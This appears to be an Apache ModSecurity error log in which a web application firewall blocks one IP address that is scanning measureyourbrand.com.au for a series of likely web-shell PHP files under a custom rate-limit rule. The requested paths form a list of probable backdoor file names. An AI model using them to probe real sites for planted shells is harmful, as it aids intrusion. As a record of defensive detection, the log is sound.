[Fri Jan 02 05:52:35.359831 2026] [:error] [pid 63099:tid 63154] [client 4.241.192.15:11753] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thai.php"] [unique_id "aVbso8mCZokRPYUhzvgWvAAAAFQ"]
[Fri Jan 02 05:52:35.700110 2026] [:error] [pid 63100:tid 63167] [client 4.241.192.15:11666] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thai.php"] [unique_id "aVbsozuUXUKd3KTnKl-WpQAAAIY"]
[Fri Jan 02 05:52:36.222732 2026] [:error] [pid 63100:tid 63170] [client 4.241.192.15:6087] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lopst.php"] [unique_id "aVbspDuUXUKd3KTnKl-WpgAAAIk"]
[Fri Jan 02 05:52:36.836344 2026] [:error] [pid 63100:tid 63176] [client 4.241.192.15:6110] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lopst.php"] [unique_id "aVbspDuUXUKd3KTnKl-WqQAAAI8"]
[Fri Jan 02 05:52:37.168775 2026] [:error] [pid 63099:tid 63134] [client 4.241.192.15:11751] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lopst.php"] [unique_id "aVbspcmCZokRPYUhzvgWvgAAAEA"]
[Fri Jan 02 05:52:37.768255 2026] [:error] [pid 63098:tid 63112] [client 4.241.192.15:11721] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lopst.php"] [unique_id "aVbspcez9k78gUs48kqR7wAAAAU"]
[Fri Jan 02 05:52:38.264067 2026] [:error] [pid 63208:tid 63223] [client 4.241.192.15:11774] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wft.php"] [unique_id "aVbspnKLI9INGPLzfnd-PAAAAMw"]
[Fri Jan 02 05:52:38.856944 2026] [:error] [pid 63098:tid 63111] [client 4.241.192.15:11675] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wft.php"] [unique_id "aVbspsez9k78gUs48kqR8AAAAAQ"]
[Fri Jan 02 05:52:39.881641 2026] [:error] [pid 63208:tid 63227] [client 4.241.192.15:11699] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wft.php"] [unique_id "aVbsp3KLI9INGPLzfnd-PwAAANA"]
[Fri Jan 02 05:52:40.299217 2026] [:error] [pid 63100:tid 63173] [client 4.241.192.15:11770] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wft.php"] [unique_id "aVbsqDuUXUKd3KTnKl-WsAAAAIw"]
[Fri Jan 02 05:52:40.930562 2026] [:error] [pid 63208:tid 63232] [client 4.241.192.15:11763] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws28.php"] [unique_id "aVbsqHKLI9INGPLzfnd-QQAAANU"]
[Fri Jan 02 05:52:41.611984 2026] [:error] [pid 63208:tid 63229] [client 4.241.192.15:11677] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws28.php"] [unique_id "aVbsqXKLI9INGPLzfnd-QwAAANI"]
[Fri Jan 02 05:52:42.852704 2026] [:error] [pid 63208:tid 63221] [client 4.241.192.15:11682] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws28.php"] [unique_id "aVbsqnKLI9INGPLzfnd-TQAAAMo"]
[Fri Jan 02 05:52:43.404022 2026] [:error] [pid 63100:tid 63174] [client 4.241.192.15:11659] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws28.php"] [unique_id "aVbsqzuUXUKd3KTnKl-WuAAAAI0"]
[Fri Jan 02 05:52:44.068284 2026] [:error] [pid 63100:tid 63185] [client 4.241.192.15:11653] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsvvs.php"] [unique_id "aVbsrDuUXUKd3KTnKl-WugAAAJg"]
[Fri Jan 02 05:52:44.444935 2026] [:error] [pid 63208:tid 63214] [client 4.241.192.15:6135] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsvvs.php"] [unique_id "aVbsrHKLI9INGPLzfnd-VwAAAMM"]
[Fri Jan 02 05:52:44.942911 2026] [:error] [pid 63100:tid 63170] [client 4.241.192.15:6121] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsvvs.php"] [unique_id "aVbsrDuUXUKd3KTnKl-WvgAAAIk"]
[Fri Jan 02 05:52:45.883711 2026] [:error] [pid 63208:tid 63224] [client 4.241.192.15:11730] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsvvs.php"] [unique_id "aVbsrXKLI9INGPLzfnd-WgAAAM0"]
[Fri Jan 02 05:52:46.281653 2026] [:error] [pid 63100:tid 63174] [client 4.241.192.15:11756] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vbbn.php"] [unique_id "aVbsrjuUXUKd3KTnKl-WxQAAAI0"]
[Fri Jan 02 05:52:46.613301 2026] [:error] [pid 63099:tid 63153] [client 4.241.192.15:6123] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vbbn.php"] [unique_id "aVbsrsmCZokRPYUhzvgWzAAAAFM"]
[Fri Jan 02 05:52:46.874929 2026] [:error] [pid 63098:tid 63128] [client 4.241.192.15:11764] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vbbn.php"] [unique_id "aVbsrsez9k78gUs48kqR8wAAABU"]
[Fri Jan 02 05:52:47.419959 2026] [:error] [pid 63098:tid 63108] [client 4.241.192.15:11766] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vbbn.php"] [unique_id "aVbsr8ez9k78gUs48kqR9QAAAAE"]
[Fri Jan 02 05:52:47.855972 2026] [:error] [pid 63098:tid 63109] [client 4.241.192.15:11706] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pn.php"] [unique_id "aVbsr8ez9k78gUs48kqR9wAAAAI"]
[Fri Jan 02 05:52:48.252384 2026] [:error] [pid 63098:tid 63123] [client 4.241.192.15:11697] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pn.php"] [unique_id "aVbssMez9k78gUs48kqR-QAAABA"]
[Fri Jan 02 05:52:48.657447 2026] [:error] [pid 63098:tid 63118] [client 4.241.192.15:6120] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pn.php"] [unique_id "aVbssMez9k78gUs48kqR_QAAAAs"]
[Fri Jan 02 05:52:49.187376 2026] [:error] [pid 63098:tid 63120] [client 4.241.192.15:6088] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pn.php"] [unique_id "aVbsscez9k78gUs48kqSAAAAAA0"]
[Fri Jan 02 05:52:49.813108 2026] [:error] [pid 63208:tid 63233] [client 4.241.192.15:11741] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fz.php"] [unique_id "aVbssXKLI9INGPLzfnd-ZgAAANY"]
[Fri Jan 02 05:52:50.117232 2026] [:error] [pid 63100:tid 63162] [client 4.241.192.15:6090] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fz.php"] [unique_id "aVbssjuUXUKd3KTnKl-WxwAAAIE"]
[Fri Jan 02 05:52:50.390577 2026] [:error] [pid 63100:tid 63170] [client 4.241.192.15:11729] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fz.php"] [unique_id "aVbssjuUXUKd3KTnKl-WyAAAAIk"]
[Fri Jan 02 05:52:51.150729 2026] [:error] [pid 63100:tid 63161] [client 4.241.192.15:6114] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fz.php"] [unique_id "aVbsszuUXUKd3KTnKl-WyQAAAIA"]
[Fri Jan 02 05:52:51.725968 2026] [:error] [pid 63098:tid 63114] [client 4.241.192.15:11694] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sang.php"] [unique_id "aVbss8ez9k78gUs48kqSBQAAAAc"]
[Fri Jan 02 05:52:52.298700 2026] [:error] [pid 63098:tid 63118] [client 4.241.192.15:11664] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sang.php"] [unique_id "aVbstMez9k78gUs48kqSCgAAAAs"]
[Fri Jan 02 05:52:52.848679 2026] [:error] [pid 63100:tid 63171] [client 4.241.192.15:11742] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sang.php"] [unique_id "aVbstDuUXUKd3KTnKl-WzAAAAIo"]
[Fri Jan 02 05:52:53.693714 2026] [:error] [pid 63098:tid 63131] [client 4.241.192.15:6028] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sang.php"] [unique_id "aVbstcez9k78gUs48kqSDwAAABg"]
[Fri Jan 02 05:52:54.143047 2026] [:error] [pid 63208:tid 63214] [client 4.241.192.15:6085] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0o0.php"] [unique_id "aVbstnKLI9INGPLzfnd-agAAAMM"]
[Fri Jan 02 05:52:54.539613 2026] [:error] [pid 63099:tid 63154] [client 4.241.192.15:6060] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0o0.php"] [unique_id "aVbstsmCZokRPYUhzvgW1AAAAFQ"]
[Fri Jan 02 05:52:54.824513 2026] [:error] [pid 63098:tid 63114] [client 4.241.192.15:11739] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0o0.php"] [unique_id "aVbstsez9k78gUs48kqSEAAAAAc"]
[Fri Jan 02 05:52:55.084253 2026] [:error] [pid 63099:tid 63152] [client 4.241.192.15:6134] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0o0.php"] [unique_id "aVbst8mCZokRPYUhzvgW1QAAAFI"]
[Fri Jan 02 05:52:55.498240 2026] [:error] [pid 63099:tid 63134] [client 4.241.192.15:11689] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aVbst8mCZokRPYUhzvgW1gAAAEA"]
[Fri Jan 02 05:52:56.268926 2026] [:error] [pid 63099:tid 63150] [client 4.241.192.15:11767] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aVbsuMmCZokRPYUhzvgW1wAAAFA"]
[Fri Jan 02 05:52:56.604668 2026] [:error] [pid 63100:tid 63163] [client 4.241.192.15:6118] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aVbsuDuUXUKd3KTnKl-W0wAAAII"]
[Fri Jan 02 05:52:57.191280 2026] [:error] [pid 63098:tid 63130] [client 4.241.192.15:6133] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zxl.php"] [unique_id "aVbsucez9k78gUs48kqSFgAAABc"]
[Fri Jan 02 05:52:57.679882 2026] [:error] [pid 63100:tid 63165] [client 4.241.192.15:6025] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aVbsuTuUXUKd3KTnKl-W1QAAAIQ"]
[Fri Jan 02 05:52:58.233240 2026] [:error] [pid 63208:tid 63218] [client 4.241.192.15:11668] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aVbsunKLI9INGPLzfnd-bwAAAMc"]
[Fri Jan 02 05:52:59.145424 2026] [:error] [pid 63208:tid 63221] [client 4.241.192.15:11747] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aVbsu3KLI9INGPLzfnd-cQAAAMo"]
[Fri Jan 02 05:52:59.639985 2026] [:error] [pid 63208:tid 63216] [client 4.241.192.15:6107] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zwso.php"] [unique_id "aVbsu3KLI9INGPLzfnd-dAAAAMU"]
[Fri Jan 02 05:53:03.937847 2026] [:error] [pid 63208:tid 63227] [client 4.241.192.15:11707] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVbsv3KLI9INGPLzfnd-lQAAANA"]
[Fri Jan 02 05:53:04.287860 2026] [:error] [pid 63099:tid 63149] [client 4.241.192.15:6031] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVbswMmCZokRPYUhzvgW3wAAAE8"]
[Fri Jan 02 05:53:04.861796 2026] [:error] [pid 63099:tid 63154] [client 4.241.192.15:11693] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVbswMmCZokRPYUhzvgW4AAAAFQ"]
[Fri Jan 02 05:53:05.429660 2026] [:error] [pid 63098:tid 63118] [client 4.241.192.15:11654] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVbswcez9k78gUs48kqSKAAAAAs"]
[Fri Jan 02 05:53:05.967706 2026] [:error] [pid 63098:tid 63119] [client 4.241.192.15:6020] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aVbswcez9k78gUs48kqSKwAAAAw"]
[Fri Jan 02 05:53:06.948813 2026] [:error] [pid 63099:tid 63138] [client 4.241.192.15:11775] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aVbswsmCZokRPYUhzvgW5QAAAEQ"]
[Fri Jan 02 05:53:07.382290 2026] [:error] [pid 63100:tid 63184] [client 4.241.192.15:11745] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aVbswzuUXUKd3KTnKl-W6gAAAJc"]
[Fri Jan 02 05:53:07.908502 2026] [:error] [pid 63208:tid 63222] [client 4.241.192.15:11691] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aVbsw3KLI9INGPLzfnd-nAAAAMs"]
[Fri Jan 02 05:53:08.551610 2026] [:error] [pid 63208:tid 63211] [client 4.241.192.15:11655] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aVbsxHKLI9INGPLzfnd-nwAAAMA"]
[Fri Jan 02 05:53:09.032720 2026] [:error] [pid 63208:tid 63224] [client 4.241.192.15:6103] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aVbsxXKLI9INGPLzfnd-pQAAAM0"]
